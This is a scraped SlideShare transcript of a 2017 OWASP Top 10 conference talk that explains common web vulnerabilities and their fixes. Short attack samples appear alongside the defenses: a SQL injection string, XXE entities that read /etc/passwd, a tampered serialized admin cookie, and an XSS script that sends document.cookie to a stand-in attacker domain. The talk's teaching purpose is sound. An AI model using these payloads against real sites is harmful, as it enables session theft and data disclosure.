SlideShare ist ein Scribd-Unternehmen logo
1 von 67
Downloaden Sie, um offline zu lesen
OWASP Top 10 ala 2017
Sean Jackson
CISSP C|EH GCIH
@74rku5
Senior Security Engineer; Solutionreach
Penetration Testing, Incident Response, Consulting;
Alliance Information Security
Open Web Application Security Project
There are more than 10 issues that developers need to
be aware of.
One cannot base an AppSec program off of a Top 10
list.
These are not ordered by most damaging or easily
exploited
Ordered by commonality in reported findings
1. Injection (no change)
2. Broken Authentication and Session Management (no change, almost)
3. Sensitive Data Exposure (up from #6!)
4. XML External Entities (XXE) (All new!)
5. Broken Access Control (Kinda new!)
6. Security Misconfiguration (down from #5)
7. Cross-Site Scripting (XSS) (down from #3)
8. Insecure Deserialization (All new!)
9. Using Components with Known Vulnerabilities (no change)
10. Insufficient Logging & Monitoring (all new)
To All the Vulns I’ve Loved
and Lost
4. Insecure Direct Object
References
7. Missing Function Level
Access Control
8. Cross-Site Request
Forgery (CSRF)
10. Unvalidated
Redirects and Forwards
1. Injection
Is this a valid email address?
‘—@openwest.org
EDIT EMAIL FUNCTION
$NEW_EMAIL = Request[‘new_email’];
update users set email=‘$NEW_EMAIL’
where id=295482058
update users set email=‘$NEW_EMAIL’
where id=295482058
$NEW_EMAIL = ‘--@openwest.org
update users set email=‘’—@openwest.org' where
id=295482058
update users set email=‘’
Query Parameterization
Creating an abstraction layer
$stmt = $dbh->prepare(“update users set
email=:new_email where id=:user_id”);
$stmt->bindParam(‘:new_email’, $email);
$stmt->bindParam(‘:user_id’, $id);
Avoid the interpreter entirely
Use an interface that supports bind variables (e.g., prepared
statements, or stored procedures)
Bind variables allow the interpreter to distinguish between
code and data
Encode all user input before passing it to the interpreter
Always perform ‘white list’ input validation on all user supplied
input
ALWAYS minimize DB privileges to reduce the impact of a flaw
2. Broken Authentication
Broken Authentication and
Session Management
HTTP is a ‘stateless’ protocol
This means credentials have to go with every request
We should be using SSL for EVERYTHING requiring
authentication
Session Management flaws
SESSION ID is used to 

track state since HTTP 

doesn’t
It’s just as good as 

credentials to an 

attacker
SESSION ID is typically exposed on the
network, in browser, in logs, ……..
Beware the
side-doors!
Change my password, remember my password, forgot
my password, secret question, logout, email address,
etc…
User accounts compromised or user sessions hijacked
1. User sends credentials
2. Site uses URL writing

(i.e., puts session in URL)
www.hooli.com?
JSESSIONID=9AF7AF05
3. Attacker creates a post on a forum or some other
shared media with a link to a domain they control
(watercooler attack)
4. User clicks on that link: 

http://www.nefarioussite.com
5. Hacker checks referrer logs and find user’s
JSESSIONID
6. Hacker uses JSESSIONID and takes over victim’s
account
AVOIDING Broken Auth
Verify your architecture
Authentication should be simple, centralized, and
standardized
Use the standard session id provided by your
container
Be sure SSL protects both credentials and session id
at all times
AVOIDING Broken Auth and
Session Management
Verify the implementation
Examine all the authentication-related functions
Verify that logoff actually destroys the session
Forgot Password Secure
Design
Require identity questions
Last name, account number, email, DOB
Enforce lockout policy
Ask one or more good security questions
https://www.owasp.org/index.php/
Choosing_and_Using_Security_Questions_Cheat_She
et
Forgot Password Secure
Design
Send the user a randomly generated token
email, SMS
Verify code in same web session
Enforce lockout policy, make ‘em start over (new token)
Change password
Enforce lockout policy
3. Sensitive Data Exposure
What might this look like?
Site doesn’t enforce TLS for all pages, or supports
weak encryption.
Attacker monitors network, downgrades connections
from HTTPS to HTTP (wifi hacking, anyone?), sniffs
traffic, gets session cookie.
Attacker replays the cookie, hijacks the authenticated
session
What else might it look like?
CC numbers are stored using automatic DB encryption
Attacker exploits a SQL injection flaw and requests
data
The DB decrypts the data and displays all the CC
numbers to the attacker
How do we stop it?
Encrypt all data in transit
PFS (perfect forward secrecy) ciphers
make the server choose the cipher (sorry, grandpa)
Enforce encryption with HTTP Strict Transport Security
(HSTS)
How do we stop it?
Encrypt all sensitive data at rest
Disabling caching for responses that contain sensitive
data
Don’t store the data if you don’t have to
Take on Data Classification and apply controls around
the sensitive stuff
4. XML External Entities (XXE)
XML? Wait…..Wat??
When did you last
update your XML
libraries? Right?
XML = designed to
store and transport
data
XML External Entities (XXE)
<?xml version=“1.0” encoding=“ISO-8859-1”?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM “file:/../../etc/passwd” >]>

<foo>&xxe;</foo>
<!ENTITY xxe SYSTEM “https://192.168.1.1/private" >]>
<ENTITY xxe SYSTEM “file:/../../dev/random” >]>
How to fix XXE
Skip XML, go with JSON
Patch XML processors,
update SOAP to SOAP
1.2 or better
Whitelist server-side
input validation/
sanitization
5. Broken Access Control
Controlling Access
if ((user.isManager() ||
user.isAdministrator() ||
user.isEditor()) && (user.id() !=
1132)) {

//execute action

}
How would you change this policy? Is
this scaleable?
Exploiting Broken Access
Controls
Unverified SQL:
pstmt.setString(1, request.getParameter(“acct”));

ResultSet results = pstmt.executeQuery();

http://foobar.com/app/accountinfo?acct=wrongaccount
Exploiting Broken Access
Controls
Creative browsing:
http://example.com/app/getappinfo
http://example.com/app/admin_getappinfo
Fixing Broken Access
Controls
Fix it once, reuse it
Disable server directory listing, keep backups off the
server
Deny by default if not a public resource
Rate limit API and controller access
Log access control failure, alert admins
6. Security Misconfiguration
Security Misconfiguration
Do you have a process for keeping

all software up to date? OS? Web 

server? DMBS? Apps? Code 

Libraries?
Is everything unnecessary disabled,

removed, or not installed? (ports, services, pages, accounts, privs)
Are default passwords changed or disabled?
Is error handling set up to prevent stack traces and other info from
informative error messages from leaking?
Are the security settings in your development frameworks (e.g. Struts,
Spring, ASP.NET) and libraries understood and configured properly?
Preventing Security
Misconfiguration
Have a repeatable hardening process that makes it fast and
easy to deploy an environment that is locked down. Dev, QA,
Prod environments should be identical. Automate this.
Have a process to keep abreast of and deploying software
updates and patches. Needs to include code libraries.
Have a strong application architecture that provides good
separation and security between components
Run scans and do audits periodically to help detect future
misconfigs or missing patches.
Preventing Security
Misconfiguration
Can you “dump” the application configuration?
Build reporting into the process
If you can’t verify it, it isn’t secure
“Trust is good. Control is better”

—Joe S.
7. Cross-Site Scripting (XSS)
Should really be called
“JavaScript Injection”
Anatomy of an XSS Attack
You and I are both logged in, I’m a user, you’re the
admin.
<script>var img = new
Image();img.src=‘https://evilsean.com/
scripts/data=' + document.cookie;

</script>
Anatomy of an XSS Attack
Basic site defacement
<script>document.body.innerHTML=‘<marqu
ee>if she is no-one she has nothing to
fear</marquee>’;</script>
What else can XSS do?
Steal data from the webpage
Track keystrokes
Keystroke logging
redirect user (phishing attack)
session hijacking
site defacement
network scanning
undermining CSRF
defenses
Load remotely hosted
content (large scripts)
and more….
XSS Defense by Data Type
and Context
DATA TYPE CONTEXT DEFENSE
String HTML Body HTML Entity Encode
String HTML Attribute Minimal Attribute Encoding
String GET Parameter URL Encoding
String Untrusted URL
URL Validation, avoid javascript:
URLS, Attribute encoding, safe
URL verification
String CSS
Strict structural validation, CSS
Hex encoding, good design
HTML HTML Body HTML Validation (JSoup,
AntiSamy, HTML Sanitizer
Any DOM DOM XSS Cheat Sheet
Untrusted Javascript Any Sandboxing
JSON Client Parse Time JSON.parse() or json2.js
<
&lt;
Output encoding
The browser doesn’t see code, it just displays the ‘less
than’ symbol
XSS happens in your user interface
As a developer, you want a way to accept user input
but not allow the user to enter JavaScript
8. Insecure Deserialization
Insecure Deserialization
Apps and APIs are
vulnerable if they
deserialize hostile or
attacker-tampered
objects
Insecure Deserialization
Example 1
React app calls a set of
Spring Boot microservices
Programmers serialize user
state, pass it
Attacker notices “ROO”
Java object sig, uses Java
Serial Killer
Attacker gains remote code
exec
Insecure Deserialization
Example 2
PHP object serialization
saving ‘super’ cookie
Cookie contains user ID,
role, password hash, etc.:

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:
4:"user"; i:3;s:
32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
Attacker changes the
serialized object:

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:
5:"admin"; i:3;s:
32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
Preventing Insecure
Deserialization
Don’t accept serialized objects from untrusted sources
Use serialization mediums that only permit primitive data
types
Integrity checks
Enforce strict type constraints during deserialization before
object creation (bypassable - don’t rely on this)
Isolate and run code that deserializes in low privilege
environments
9. Using Known Vulnerable Components
Using Known Vulnerable
Components
Some vulnerable components (e.g. framework libraries)
can be identified (and exploited) with automated tools
This expands the threat pool beyond targeted
attackers to chaotic actors
Using Known Vulnerable
Components
Virtually every application has these issues because
most development teams don’t focus on insuring their
components/libraries are up to date
Often developers don’t know all the components
they’re using, never mind versions. Component
dependencies make things even worse.
Avoiding Using Known
Vulnerable Components
Build your own libraries! (not often practical)
Automate checks for libraries being out of date
Periodically check by hand
Check CVE, other vuln repositories
Update / Patch anything you find
10. Insufficient Logging & Monitoring
Insufficient Logs and
Monitoring
Nearly EVERY major
cyber incident starts
with insufficient logging
and monitoring
In 2016, breach
identification took an
average of 191 days
(over 6 months)
Insufficient Logs and
Monitoring
Logins, failed logins, high-
value transactions not
logged
Warnings and errors
generate no, inadequate, or
unclear logs
Logs of apps and APIs are
not monitored
Logs are stored locally
How are we doing?
Check the logs after a
pentest.
The testers’ actions
should be recorded
sufficiently to
understand what
damages may have
been inflected
What Should We Log and
Monitor?
Logins
Access Control Failures
Server-side input validation
failures
Keep enough user context to
identify suspicious or
malicious accounts
Hold the logs enough for
forensic analysis
What Should We Log and
Monitor?
Make sure logs are
generated in a format
easily consumed by log
management solutions
(SEIM/splunk/OSSEC/etc)
Establish effective
monitoring and alerting
Establish Incident
Response / Recovery Plan
?
OWASP Top 10 2017: Understanding and Preventing the Most Critical Web Application Security Risks

Weitere ähnliche Inhalte

Was ist angesagt?

Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Brian Huff
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkErlend Oftedal
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure codingHaitham Raik
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelinesZakaria SMAHI
 
Owasp Top 10 And Security Flaw Root Causes
Owasp Top 10 And Security Flaw Root CausesOwasp Top 10 And Security Flaw Root Causes
Owasp Top 10 And Security Flaw Root CausesMarco Morana
 
OWASPTop 10
OWASPTop 10OWASPTop 10
OWASPTop 10InnoTech
 
Owasp 2017 oveview
Owasp 2017   oveviewOwasp 2017   oveview
Owasp 2017 oveviewShreyas N
 
The New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the ChaseThe New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the ChaseSecurity Innovation
 
A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...Noppadol Songsakaew
 
OWASP Top 10 Vulnerabilities 2017- AppTrana
OWASP Top 10 Vulnerabilities 2017- AppTranaOWASP Top 10 Vulnerabilities 2017- AppTrana
OWASP Top 10 Vulnerabilities 2017- AppTranaIshan Mathur
 
OWASP Top 10 2017 - New Vulnerabilities
OWASP Top 10 2017 - New VulnerabilitiesOWASP Top 10 2017 - New Vulnerabilities
OWASP Top 10 2017 - New VulnerabilitiesDilum Bandara
 
OWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsOWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsKaty Anton
 
OWASP Top 10 - 2017
OWASP Top 10 - 2017OWASP Top 10 - 2017
OWASP Top 10 - 2017HackerOne
 
Owasp top 10 vulnerabilities
Owasp top 10 vulnerabilitiesOwasp top 10 vulnerabilities
Owasp top 10 vulnerabilitiesOWASP Delhi
 

Was ist angesagt? (20)

OWASP Top 10 2017
OWASP Top 10 2017OWASP Top 10 2017
OWASP Top 10 2017
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might think
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Owasp Top 10 And Security Flaw Root Causes
Owasp Top 10 And Security Flaw Root CausesOwasp Top 10 And Security Flaw Root Causes
Owasp Top 10 And Security Flaw Root Causes
 
OWASPTop 10
OWASPTop 10OWASPTop 10
OWASPTop 10
 
Owasp 2017 oveview
Owasp 2017   oveviewOwasp 2017   oveview
Owasp 2017 oveview
 
The New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the ChaseThe New OWASP Top Ten: Let's Cut to the Chase
The New OWASP Top Ten: Let's Cut to the Chase
 
A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
OWASP Top 10 Vulnerabilities 2017- AppTrana
OWASP Top 10 Vulnerabilities 2017- AppTranaOWASP Top 10 Vulnerabilities 2017- AppTrana
OWASP Top 10 Vulnerabilities 2017- AppTrana
 
OWASP Top 10 2017 - New Vulnerabilities
OWASP Top 10 2017 - New VulnerabilitiesOWASP Top 10 2017 - New Vulnerabilities
OWASP Top 10 2017 - New Vulnerabilities
 
Owasp webgoat
Owasp webgoatOwasp webgoat
Owasp webgoat
 
Spring Security Introduction
Spring Security IntroductionSpring Security Introduction
Spring Security Introduction
 
Spring Security 3
Spring Security 3Spring Security 3
Spring Security 3
 
OWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsOWASP Top 10 Proactive Controls
OWASP Top 10 Proactive Controls
 
OWASP Top 10 - 2017
OWASP Top 10 - 2017OWASP Top 10 - 2017
OWASP Top 10 - 2017
 
Owasp top 10 vulnerabilities
Owasp top 10 vulnerabilitiesOwasp top 10 vulnerabilities
Owasp top 10 vulnerabilities
 

Ähnlich wie OWASP Top 10 2017: Understanding and Preventing the Most Critical Web Application Security Risks

Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionDaniel Owens
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersLewis Ardern
 
Owasp Top 10 2017
Owasp Top 10 2017Owasp Top 10 2017
Owasp Top 10 2017SamsonMuoki
 
Proxy Caches and Web Application Security
Proxy Caches and Web Application SecurityProxy Caches and Web Application Security
Proxy Caches and Web Application Security Tim Bass
 
Web application sec_3
Web application sec_3Web application sec_3
Web application sec_3vhimsikal
 
OWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root CausesOWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root CausesMarco Morana
 
OWASP zabezpieczenia aplikacji - Top 10 ASR
OWASP zabezpieczenia aplikacji - Top 10 ASROWASP zabezpieczenia aplikacji - Top 10 ASR
OWASP zabezpieczenia aplikacji - Top 10 ASRLaravel Poland MeetUp
 
OWASP Secure Coding
OWASP Secure CodingOWASP Secure Coding
OWASP Secure Codingbilcorry
 
Security In PHP Applications
Security In PHP ApplicationsSecurity In PHP Applications
Security In PHP ApplicationsAditya Mooley
 
DevSecOps - automating security
DevSecOps - automating securityDevSecOps - automating security
DevSecOps - automating securityJohn Staveley
 
Pci compliance writing secure code
Pci compliance   writing secure codePci compliance   writing secure code
Pci compliance writing secure codeMiva
 
Owasp first5 presentation
Owasp first5 presentationOwasp first5 presentation
Owasp first5 presentationowasp-pune
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Jay Nagar
 
OWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web DevelopersOWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web DevelopersBenjamin Floyd
 

Ähnlich wie OWASP Top 10 2017: Understanding and Preventing the Most Critical Web Application Security Risks (20)

Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Web application security (eng)
Web application security (eng)Web application security (eng)
Web application security (eng)
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript DevelopersOWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP Portland - OWASP Top 10 For JavaScript Developers
 
Owasp Top 10 2017
Owasp Top 10 2017Owasp Top 10 2017
Owasp Top 10 2017
 
Proxy Caches and Web Application Security
Proxy Caches and Web Application SecurityProxy Caches and Web Application Security
Proxy Caches and Web Application Security
 
Web application sec_3
Web application sec_3Web application sec_3
Web application sec_3
 
OWASP Top10 2010
OWASP Top10 2010OWASP Top10 2010
OWASP Top10 2010
 
OWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root CausesOWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root Causes
 
OWASP zabezpieczenia aplikacji - Top 10 ASR
OWASP zabezpieczenia aplikacji - Top 10 ASROWASP zabezpieczenia aplikacji - Top 10 ASR
OWASP zabezpieczenia aplikacji - Top 10 ASR
 
OWASP Secure Coding
OWASP Secure CodingOWASP Secure Coding
OWASP Secure Coding
 
Security In PHP Applications
Security In PHP ApplicationsSecurity In PHP Applications
Security In PHP Applications
 
DevSecOps - automating security
DevSecOps - automating securityDevSecOps - automating security
DevSecOps - automating security
 
Let's shield Liferay
Let's shield LiferayLet's shield Liferay
Let's shield Liferay
 
Pci compliance writing secure code
Pci compliance   writing secure codePci compliance   writing secure code
Pci compliance writing secure code
 
WebApps_Lecture_15.ppt
WebApps_Lecture_15.pptWebApps_Lecture_15.ppt
WebApps_Lecture_15.ppt
 
Owasp first5 presentation
Owasp first5 presentationOwasp first5 presentation
Owasp first5 presentation
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 
Owasp Top 10-2013
Owasp Top 10-2013Owasp Top 10-2013
Owasp Top 10-2013
 
OWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web DevelopersOWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web Developers
 

Kürzlich hochgeladen

The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersRaghuram Pandurangan
 

Kürzlich hochgeladen (20)

The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information Developers
 

OWASP Top 10 2017: Understanding and Preventing the Most Critical Web Application Security Risks

  • 1. OWASP Top 10 ala 2017 Sean Jackson CISSP C|EH GCIH @74rku5 Senior Security Engineer; Solutionreach Penetration Testing, Incident Response, Consulting; Alliance Information Security
  • 2. Open Web Application Security Project There are more than 10 issues that developers need to be aware of. One cannot base an AppSec program off of a Top 10 list. These are not ordered by most damaging or easily exploited Ordered by commonality in reported findings
  • 3. 1. Injection (no change) 2. Broken Authentication and Session Management (no change, almost) 3. Sensitive Data Exposure (up from #6!) 4. XML External Entities (XXE) (All new!) 5. Broken Access Control (Kinda new!) 6. Security Misconfiguration (down from #5) 7. Cross-Site Scripting (XSS) (down from #3) 8. Insecure Deserialization (All new!) 9. Using Components with Known Vulnerabilities (no change) 10. Insufficient Logging & Monitoring (all new)
  • 4. To All the Vulns I’ve Loved and Lost 4. Insecure Direct Object References 7. Missing Function Level Access Control 8. Cross-Site Request Forgery (CSRF) 10. Unvalidated Redirects and Forwards
  • 5.
  • 7.
  • 8. Is this a valid email address? ‘—@openwest.org
  • 9. EDIT EMAIL FUNCTION $NEW_EMAIL = Request[‘new_email’]; update users set email=‘$NEW_EMAIL’ where id=295482058
  • 10. update users set email=‘$NEW_EMAIL’ where id=295482058 $NEW_EMAIL = ‘--@openwest.org update users set email=‘’—@openwest.org' where id=295482058
  • 11. update users set email=‘’
  • 12. Query Parameterization Creating an abstraction layer $stmt = $dbh->prepare(“update users set email=:new_email where id=:user_id”); $stmt->bindParam(‘:new_email’, $email); $stmt->bindParam(‘:user_id’, $id);
